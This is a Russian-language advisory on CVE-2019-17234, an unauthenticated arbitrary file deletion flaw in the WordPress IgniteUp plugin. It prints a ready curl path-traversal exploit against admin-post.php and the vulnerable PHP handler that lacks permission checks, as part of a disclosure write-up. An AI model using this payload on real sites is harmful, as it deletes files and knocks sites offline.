
Плагин Wordpress IgniteUp < 3.4.1 позволяет неаутентифицированным пользователям произвольно удалять файлы на веб-сервере, что может вызвать DoS.
Плагин WordPress IgniteUp версии 3.4 и ниже позволяет удалённым неаутентифицированным пользователям потенциально произвольно удалять любые файлы на целевом веб-сервере, что может привести к отказу в обслуживании (DoS).
Уязвимость была сообщена команде wordpress.org 20 сентября 2019 года, а 8 ноября 2019 года вышла новая версия плагина 3.4.1.[3]
IgniteUp — популярный плагин WordPress для простой настройки и управления целевыми страницами сайта, чтобы сообщить пользователям, что сайт скоро откроется, находится на обслуживании или в разработке.
Плагин из коробки поставляется с 5 бесплатными шаблонами по умолчанию: believe,cleaner,glass,launcher,offline.
Названия шаблонов выделены, поскольку для выполнения корректного запроса к веб-серверу с целью эксплуатации уязвимости требуется правильный параметр [template-name].
[ПРЕДУПРЕЖДЕНИЕ]
Приведённый ниже пример команды может быть достаточен для того, чтобы сломать ваш сайт WordPress, в данном случае удалив основные файлы плагина IgniteUp.
curl -d "action=admin_init&delete_template=[template-name]/../../" -X POST http(s)://[target-website]/wp-admin/admin-post.php
dummy example:
curl -d "action=admin_init&delete_template=believe/../../" -X POST http://localhost/wp-admin/admin-post.php
[ПРИМЕЧАНИЕ] Приведённая выше команда выполняет обход каталога внутри относительного пути плагина; при правильных правах доступа (755 для каталогов веб-сервера и 644 для файлов веб-сервера) и владельце (www-data, apache и т.д.) поверхность атаки ограничена корневым каталогом сервера (например, /var/www/html).
Функция, являющаяся источником этой уязвимости, выделена ниже; файл с ней можно найти по пути wp-content/plugins/igniteup/includes/class-coming-soon-creator.php. Как следует из названия, этот файл отвечает за создание новых пользовательских шаблонов и удаление стандартных/созданных.
V3.4
add_action('admin_init', array($this, 'deleteTemplate'));
...
...
public function deleteTemplate()
{
if (!isset($_POST['delete_template']) || empty($_POST['delete_template']))
return;
$folder_name = $_POST['delete_template'];
$path = dirname(CSCS_FILE) . '/includes/templates/';
array_map('unlink', glob($path . $folder_name . '/*.*'));
rmdir($path . $folder_name);
unlink($path . '/' . $folder_name . '.php');
header('Location: ' . $_SERVER['REQUEST_URI']);
}
admin_init в самой первой строке — это хук действия WordPress. Хуки[2] являются основой взаимодействия плагинов и тем с ядром WordPress, но также широко используются самим ядром.
К сожалению, функция, связанная с хуком действия, deleteTemplate(), не содержит проверок прав администратора/пользователя. Она даёт читателю достаточно подсказок о том, как выполнить такое действие: глядя на код, легко заметить PHP POST-параметр delete_template. В совокупности с хуком admin_init этого достаточно, чтобы попытаться выполнить POST-запрос к веб-серверу через интерфейс /wp-admin/admin-post.php, как указано в разделе с эксплойтом.
[ЛИЧНОЕ ПРИМЕЧАНИЕ] Анализируя обычное поведение плагина с точки зрения администратора WordPress, довольно странно обнаружить эту функцию (полагаю, это остаток от более ранних версий), поскольку:
Вот пример того, что происходит во время unlink, когда я пытаюсь уничтожить каталог шаблона.
тест admin-ajax.php сравнение v3.4.1
[1] журнал изменений v3.4.1 — https://it.wordpress.org/plugins/igniteup/#developers
[2] Хуки WordPress — https://developer.wordpress.org/plugins/hooks/
[3] Ссылка на CVE-2019-17234 в NIST — https://nvd.nist.gov/vuln/detail/CVE-2019-17234